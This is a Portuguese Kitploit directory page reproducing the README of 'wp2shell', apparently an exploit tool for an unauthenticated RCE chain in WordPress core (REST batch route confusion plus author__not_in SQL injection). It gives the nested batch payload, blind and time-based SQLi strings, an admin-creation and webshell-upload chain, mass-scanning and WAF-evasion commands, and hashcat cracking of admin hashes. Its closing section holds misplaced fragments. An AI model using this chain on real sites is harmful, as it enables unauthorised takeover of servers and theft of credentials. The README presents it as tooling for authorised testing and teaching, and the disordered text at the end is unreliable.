Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
wp2shell — CVE-2026-63030 + CVE-2026-60137 - “wp2shell”: unauthenticated RCE in WordPress core | Kitploit
Ferramentas/GitHubGitHub/0xsha/wp2shell
Password CrackingVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingCommand and ControlLearning & EducationRed TeamingPayload DevelopmentLabs & Practice
GitHub0xsha/wp2shell
9630há 1 mêsAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

wp2shell

CVE-2026-63030 + CVE-2026-60137 - “wp2shell”: unauthenticated RCE in WordPress core

Ver Repositório

CVE-2026-63030 + CVE-2026-60137 - “wp2shell”: RCE não autenticado no núcleo do WordPress

Confusão de rotas da API REST (CVE-2026-63030) encadeada com uma injeção SQL no WP_Query author__not_in (CVE-2026-60137) → execução remota de código pré-autenticação contra uma instalação padrão do WordPress.

Descoberto por Adam Kues (Assetnote / Searchlight Cyber), divulgado em 2026-07-17. Avisos: GHSA-ff9f-jf42-662q, GHSA-fpp7-x2x2-2mjf.

Encadeamento (RCE não autenticado)WordPress 6.9.0 - 6.9.4 e 7.0.0 - 7.0.1
Apenas SQLi (necessita de um plugin/tema facilitador)6.8.0 - 6.8.5
Não afetados≤ 6.8 para a confusão de lotes; 6.9.5 / 7.0.2 / 7.1-beta2 (corrigido)
Pré-condiçõesAPI REST acessível; sem cache de objeto persistente (Redis/Memcached); ≥1 post publicado
Autenticação necessárianenhuma
Impactonão autenticado → criar um novo administrador → execução de código (a SQLi também extrai o hash do admin)

Demonstração

https://github.com/user-attachments/assets/7f9cc52c-3f31-4339-9192-e31e506684f6

O que este repositório adiciona

  • Uma ferramenta original, apenas com stdlib (wp2shell.py) que unifica o melhor de seis PoCs públicos num único ficheiro, sem dependência requests e sem funcionalidades quebradas.
  • O RCE completo sem quebra de hash, verificado de ponta a ponta em laboratório: shell sem credenciais forja um WP_Post falso através da confusão UNION de um único post, contorna o personalizador para criar um administrador novo (POST /wp/v2/users), faz login e envia um webshell com token. A extração do hash do admin via SQLi (read --preset users) é mantida como um segundo caminho verificado.
  • Um detector de confusão independente de versão (block_cannot_read) usado como verificação primária e não destrutiva.
  • Transporte de produção em cada comando: TLS auto-assinado, cabeçalhos personalizados, User-Agent personalizado, proxy, repetições, atraso de requisição.
  • Um caminho SQLi facilitado verificado para 6.8.x (sqli) que os outros PoCs não têm.
  • Laboratórios Docker reproduzíveis mais uma matriz de confiabilidade por versão/DB, com cada resultado verificado em laboratório.
  • O modo hashcat para o novo hash de senha $wp$2y$ (-m 35500).
root@kitploit:~
wp2shell/
├── README.md              ← você está aqui
├── wp2shell.py            ← o PoC unificado (ficheiro único, apenas stdlib, por 0xsha)
└── lab/                   ← laboratórios Docker reproduzíveis + matriz de confiabilidade
    ├── docker-compose.yml         (laboratório padrão 6.9.4)
    ├── docker-compose.matrix.yml  (parametrizado: qualquer versão × MySQL/MariaDB)
    ├── docker-compose.sqli.yml    (laboratório "Apenas SQLi" 6.8.3)
    ├── matrix.sh                  (executa toda a matriz de confiabilidade)
    └── sqli-only/facilitator.php  (mu-plugin: o sumidouro facilitador 6.8.x)

Os seis PoCs públicos dos quais esta ferramenta se baseia não estão aqui vendidos; eles estão vinculados em Créditos.

Tudo abaixo foi verificado no laboratório Docker local (ver §4; alegações que não foram executadas em laboratório estão assim rotuladas.


1. Detalhes da vulnerabilidade - mergulho profundo no código

O encadeamento solda dois bugs independentes. Os números de linha são do código fonte real do WordPress 6.9.4 (extraído de wordpress:6.9.4-apache).

Bug A - Injeção SQL no author__not_in (CVE-2026-60137)

wp-includes/class-wp-query.php, WP_Query::get_posts():

root@kitploit:~
2403  if ( ! empty( $query_vars['author__not_in'] ) ) {
2404      if ( is_array( $query_vars['author__not_in'] ) ) {                 // ← guarda só dispara para ARRAYS
2405          $query_vars['author__not_in'] = array_unique( array_map( 'absint', $query_vars['author__not_in'] ) );
2406          sort( $query_vars['author__not_in'] );
2407      }
2408      $author__not_in = implode( ',', (array) $query_vars['author__not_in'] );   // ← string passa direto
2409      $where         .= " AND {$wpdb->posts}.post_author NOT IN ($author__not_in) ";  // ← interpolação bruta
2410  } elseif ( ! empty( $query_vars['author__in'] ) ) {
...
2415      $author__in = implode( ',', array_map( 'absint', array_unique( (array) $query_vars['author__in'] ) ) );  // ← absint DENTRO do implode

Uma string author__not_in ignora a guarda is_array() (2404); implode(',', (array)"…") retorna-a inalterada (2408) e é concatenada diretamente no SQL (2409). O irmão author__in (2415) reaplica array_map('absint', …) dentro do implode e está seguro - aquele array_map faltante é o bug. O valor chega como ... post_author NOT IN (<valor>) ..., portanto 0) <sql>-- - fecha a lista e anexa SQL.

Colocar uma string lá é a parte difícil: o endpoint REST de posts mapeia author_exclude → author__not_in (class-wp-rest-posts-controller.php:247) mas declara-o como 'type' => 'array' de inteiros, então o núcleo coage/rejeita uma string:

root@kitploit:~
GET /wp-json/wp/v2/posts?author_exclude=1) OR SLEEP(3)-- -
→ 400 "author_exclude[0] is not of type integer."      (verificado em 6.8.3)

É por isso que o Bug A sozinho é apenas "facilitado". O Bug B introduz a string passando pela validação em 6.9+.

Bug B - Confusão de rotas em lote na REST API (CVE-2026-63030)

wp-includes/rest-api/class-wp-rest-server.php, serve_batch_request_v1():

root@kitploit:~
1720  if ( false === $parsed_url ) {
1721      $requests[] = new WP_Error( 'parse_path_failed', … );   // um caminho inválido torna-se um WP_Error em $requests

1749  foreach ( $requests as $single_request ) {
1750      if ( is_wp_error( $single_request ) ) {
1752          $validation[] = $single_request;     // ← adicionado a $validation …
1753          continue;                            // ← … mas $matches é PULADO
1754      }
1757      $matches[] = $match;                     // ← $matches só cresce para requisições VÁLIDAS

1825  foreach ( $requests as $i => $single_request ) {   // indexado por posição em $requests
1841      $match = $matches[ $i ];                        // ← $matches é MAIS CURTO → +1 deslocamento
1861      $result = $this->respond_to_request( $single_request, $route, $handler, $error );

Uma sub-requisição WP_Error é adicionada a $validation[] (1752) mas não a $matches[] (o continue em 1753 pula 1757), então $matches fica mais curto e $matches[$i] (1841) contém o manipulador da próxima requisição. A requisição i é despachada com o manipulador da requisição i+1, carregando seus próprios parâmetros e seu próprio veredito de validação (que passou).

Origem da regressão (verificado no diff 6.8.3 → 6.9.4): em 6.8.3 o loop adiciona $matches[] = $match para todas as requisições e caminhos inválidos são descartados no primeiro loop - os arrays permanecem alinhados, sem dessincronização. A refatoração em 6.9.0 introduziu o deslocamento. É exatamente por isso que 6.8.x é "apenas SQLi" e a cadeia RCE começa em 6.9.0.

A correção documentada (6.9.5 / 7.0.2)

O patch adiciona $matches[] também para entradas de erro, endurece a reentrância e analisa author__not_in com um auxiliar de lista de IDs. (6.9.5 não estava no Docker Hub na hora do teste, então isso vem dos avisos, não de um diff em laboratório.)


2. Método de exploração

2.1 A dupla confusão de rotas

O esquema de lote só permite sub-requisições POST/PUT/PATCH/DELETE, mas get_items de posts (o sumidouro author_exclude) é apenas GET, então a confusão é aninhada duas vezes:

root@kitploit:~
// Lote EXTERNO → POST /wp-json/batch/v1
{"requests": [
  {"method":"POST","path":"///"},                       // [0] caminho inválido → WP_Error → +1 deslocamento
  {"method":"POST","path":"/wp/v2/posts",               // [1] portador: validado como CRIAÇÃO de posts →
     "body": { /* Lote INTERNO */ }},                    //     seu corpo `requests` nunca é verificado pelo esquema
  {"method":"POST","path":"/batch/v1",                  // [2] manipulador → [1] despachado como serve_batch_request_v1
     "body":{"requests":[]}}                             //     (sem permission_callback → não autenticado)
]}
// Lote INTERNO (GET agora permitido):
//   [0] POST ///                                        WP_Error → deslocamento +1 interno
//   [1] GET /wp/v2/users?author_exclude=<PAYLOAD>       users não tem author_exclude → PAYLOAD passa intacto
//   [2] GET /wp/v2/posts                                [2]'s manipulador = posts get_items → executa [1] → SQLi

/// é o preparador da dessincronização (qualquer caminho rejeitado por wp_parse_url() funciona). A ferramenta também inclui uma variante --variant categories da mesma técnica.

2.2 Detectando a confusão sem a SQLi

Uma única sonda não destrutiva e independente de versão confirma CVE-2026-63030 mesmo quando o sumidouro SQLi está em cache de objeto ou filtrado por WAF: um lote de sub-requisições POST onde a dessincronização faz com que POST /wp/v2/posts seja respondida pelo callback de permissão do renderizador de blocos:

root@kitploit:~
responses[1].code == "block_cannot_read"    ← um erro de permissão de um manipulador que nunca foi solicitado

wp2shell.py check usa isto como seu sinal primário (formato estrutural post-vs-term como alternativa). (Técnica de detecção: Hadrian / Icex0.)

2.3 Da injeção aos dados (cego)

O valor está dentro de NOT IN (<valor>), um oráculo booleano limpo: 0) AND (<cond>)-- - retorna linhas se <cond> for verdadeiro. A extração é uma busca binária caractere por caractere sobre ASCII(SUBSTRING(COALESCE((expr),''),n,1)) (o COALESCE impede que um NULL encurte para uma leitura vazia).

Nota de laboratório - baseado em tempo precisa de cuidado. 0) OR SLEEP(n)-- - ingénuo dá sem atraso numa instalação padrão: os posts publicados satisfazem a consulta primeiro e encurtam o OR. A confirmação é um diferencial booleano determinístico; o timing usa 0) AND (SELECT 1 FROM (SELECT SLEEP(n))_z)-- -. Observado 0.01s vs 3.04s.

2.4 Da injeção ao shell (RCE) - sem quebra de hash

O RCE prático não precisa de senha nem quebra. shell sem credenciais executa a cadeia completa, tudo verificado em laboratório:

  1. Primitiva WP_Post falsa. Uma segunda variante de confusão atinge uma consulta limpa e com UNION: /wp/v2/posts/999999?orderby=none&per_page=500 é validada contra o esquema de item de post único (portanto, os parâmetros de coleção passam sem verificação), depois é dessincronizada para o manipulador de coleção de posts. orderby=none remove o ORDER BY final e per_page=500 mantém WP_Query em modo de linha completa, então um UNION SELECT sobrevive como uma linha wp_posts fabricada.
  2. Ponte SQLi-para-personalizador. Forje oembed_cache + customize_changeset (com user_id definido para o ID de um admin existente, lido via UNION) + linhas nav_menu_item. Acionar o oEmbed faz com que o changeset do personalizador execute .

Alternativa mais antiga (--user/--password). read --preset users extrai wp_users.user_pass (o $wp$2y$… do WordPress 6.9 = bcrypt sobre HMAC-SHA384; quebre com hashcat -m 35500), depois shell --user/--password faz login com o texto simples recuperado. Real, mas bcrypt torna lento, então a cadeia de criação de admin acima é o caminho canónico.

2.5 O caminho "Apenas SQLi" para 6.8.x

6.8.x tem o Bug A mas não o Bug B, e o núcleo coage author_exclude a um array de inteiros, então a SQLi é atingível apenas através de um plugin/tema facilitador que entrega a WP_Query uma string bruta. O subcomando sqli injecta diretamente nesse sumidouro (baseado em tempo por defeito; booleano rápido com --true-contains). Demonstrado contra o facilitador lab/sqli-only em 6.8.3.


3. Uso

3.1 O PoC unificado - wp2shell.py

Ficheiro único, Python 3.7+, apenas biblioteca padrão. Transporte pronto para produção em cada comando: --insecure (TLS auto-assinado), -H 'K: V' (repetível), --user-agent, --proxy, --retries, --delay.

root@kitploit:~
check   impressão digital + marcador de confusão + confirmar a SQLi (não destrutivo)
read    ler a BD via SQLi cega     (--preset fingerprint|users | --query "SELECT …")
shell   RCE: login admin → webshell de plugin com token → executar comandos (-i para um REPL)
sqli    SQLi author__not_in contra um sumidouro direto/facilitado (6.8.x, ou qualquer sumidouro de plugin)
scan    verificação de vulnerabilidade com threads sobre um único URL OU uma lista .txt   (--prove, --json)
root@kitploit:~
./wp2shell.py check https://target
./wp2shell.py read  https://target --preset users            # logins + hashes $wp$2y$ (+ dica hashcat)
./wp2shell.py read  https://target --query "SELECT @@version"
./wp2shell.py shell https://target --cmd id                  # sem quebra: cria um admin, depois webshell
./wp2shell.py shell https://target -i                        # shell interativo
./wp2shell.py shell https://target --user admin --password '<quebrado>' --cmd id   # ou reutilizar um admin existente
./wp2shell.py scan  https://target --prove                   # URL único, extrai @@version como prova
./wp2shell.py scan  targets.txt --threads 10 --json out.json # um .txt de destinos
./wp2shell.py sqli  https://target --endpoint '/?plugin_route=1' --param author_not_in --true-contains ROWS:YES

# botões de produção: TLS auto-assinado, cabeçalho WAF, Burp, limite de taxa
./wp2shell.py check https://target --insecure -H 'X-Forwarded-For: 127.0.0.1' --proxy http://127.0.0.1:8080 --delay 0.2

3.2 O laboratório

root@kitploit:~
# laboratório vulnerável padrão (WordPress 6.9.4 + MariaDB), http://localhost:8080
docker compose -f lab/docker-compose.yml up -d
docker compose -f lab/docker-compose.yml logs -f wpcli      # aguardar "LAB READY"
./wp2shell.py check http://localhost:8080
docker compose -f lab/docker-compose.yml down -v

bash lab/matrix.sh                                           # matriz completa de versão × DB

# laboratório "Apenas SQLi" (6.8.3 + mu-plugin facilitador), http://localhost:8082
docker compose -f lab/docker-compose.sqli.yml up -d
./wp2shell.py sqli http://localhost:8082 --endpoint '/?wp2shell_faccheck=1' \
     --param author_not_in --true-contains ROWS:YES --preset fingerprint

O admin do laboratório é admin / Admin!2345 - texto simples conhecido apenas para que o laboratório possa demonstrar o shell pós-autenticação; um atacante real recupera o hash e o quebra.


4. Matriz de versão & DB - o que realmente testamos

O escopo de DB é limitado a MySQL e MariaDB - o núcleo do WordPress não fala outro motor em produção (sem driver PostgreSQL/MSSQL; SQLite apenas através de um plugin raro).

Cada comando exercitado em laboratório: check (marcador block_cannot_read + booleano + tempo), read (fingerprint / users / --query), shell (criação de admin sem quebra → login → webshell → uid=33(www-data), mais --user/--password e REPL interativo), sqli (booleano + tempo), scan (URL único + .txt + --json + --prove), o payload --variant categories, deteção automática de endpoint (/wp-json/ + ), e as flags de transporte.

root@kitploit:~
$ ./wp2shell.py check http://localhost:8080
[+] Endpoint de lote acessível e não autenticado (HTTP 207) em http://localhost:8080/wp-json/batch/v1
[+] Confusão de rotas ATIVA - requisição de categorias respondida pelo manipulador do renderizador de blocos (block_cannot_read); CVE-2026-63030 confirmado.
[+] Injeção SQL CONFIRMADA - diferencial booleano cego em author__not_in (CVE-2026-60137).
[+] Canal baseado em tempo também confirmado - linha de base 0.02s vs injetado 3.04s.

$ ./wp2shell.py read http://localhost:8080 --preset users
[+] 1|admin|$wp$2y$10$IUUVXuWQ45USOc/rkRAcduAEvyYmHNabvfWFBMq5ApR9RGau6Fxx.
[*] quebre os hashes $wp$2y$ com:  hashcat -m 35500 …

$ ./wp2shell.py shell http://localhost:8080 --cmd id
[*] Nenhuma credencial fornecida - criando um administrador novo pré-autenticação (sem hash, sem quebra) ...
[+] Administrador criado: wp2_950eeb3deda8 / Wp2!...  (id de admin emprestado 1)
[+] Autenticado.
uid=33(www-data) gid=33(www-data) groups=33(www-data)

5. Créditos

  • Pesquisa e divulgação de vulnerabilidade: Adam Kues - Assetnote / Searchlight Cyber (“wp2shell”), 2026-07-17.
  • Avisos: GHSA-ff9f-jf42-662q, GHSA-fpp7-x2x2-2mjf. Artigos: Rapid7, Beazley Labs, Hadrian (a ideia de deteção block_cannot_read), VulnCheck.
  • Crédito de técnica (cada uma reimplementada do zero em wp2shell.py, nenhum código copiado literalmente):
    • attackercan/wp2shell-poc2 - núcleo verificado da dupla confusão aninhada, extrator cego, webshell com token + REPL.
    • sergiointel/wp2shell-poc - a técnica de criação de admin pré-autenticação sem quebra: forjar um WP_Post falso através da confusão de rota de post único, conduzir um gráfico oembed_cache + customize_changeset (user_id=admin) + nav_menu_item para que o personalizador execute como um admin existente, depois para criar um novo administrador.

Uso legal / autorizado

Para testes de segurança autorizados e educação apenas - sistemas que possui ou que pode testar por escrito. Toda exploração aqui foi executada contra um laboratório Docker local e descartável; o webshell é protegido por token e o comando padrão é inócuo. Você é responsável pela forma como usa isto.

Baixar ferramenta
como aquele admin
  • Crie um novo admin. No mesmo lote, POST /wp/v2/users com roles:["administrator"] agora funciona sob o contexto de admin emprestado, e um novo administrador wp2_* aparece em wp_users (verificado: uma nova linha de admin).
  • Login + webshell. Autentique com as credenciais geradas, carregue um plugin com token via update.php?action=upload-plugin, execute comandos. Verificado: uid=33(www-data).
  • WordPressMotor DBCaminhocheckDados extraídos
    6.9.4MariaDB 11cadeia de lote✅ RCE completohash admin $wp$2y$… + @@version
    7.0.1MariaDB 11cadeia de lote✅ RCE completohash admin
    6.9.4MySQL 8.4cadeia de lote✅ RCE completohash admin (payloads portáteis)
    6.8.3MariaDB 11cadeia de lote⛔ 207 mas sem confusão- (corresponde ao aviso)
    6.8.3MariaDB 11sqli facilitado✅ CVE-2026-60137@@version, user, db - booleano e baseado em tempo
    ?rest_route=
    POST /wp/v2/users
  • Icex0/wp2shell-poc - a implementação dessa cadeia que adaptei (union_inject confusão de post único, UnionSQLi, PreAuthAdminCreator), o detector de marcador block_cannot_read, extração COALESCE segura para NULL e timing resistente a jitter.
  • Senanfurkan/wordpress-cve-2026-63030 - impressão digital/classificação de versão e o teste estrutural de confusão de rotas.
  • Lutfifakee-Project/wp2shell - varredura em massa.
  • NULL200OK/WP2Shell - relatórios JSON.
  • ekomsSavior/wp2shell - inspiração de UX interativa.
  • Modo de quebra de hash ($wp$2y$ → hashcat -m 35500): hashpwn / hashcat.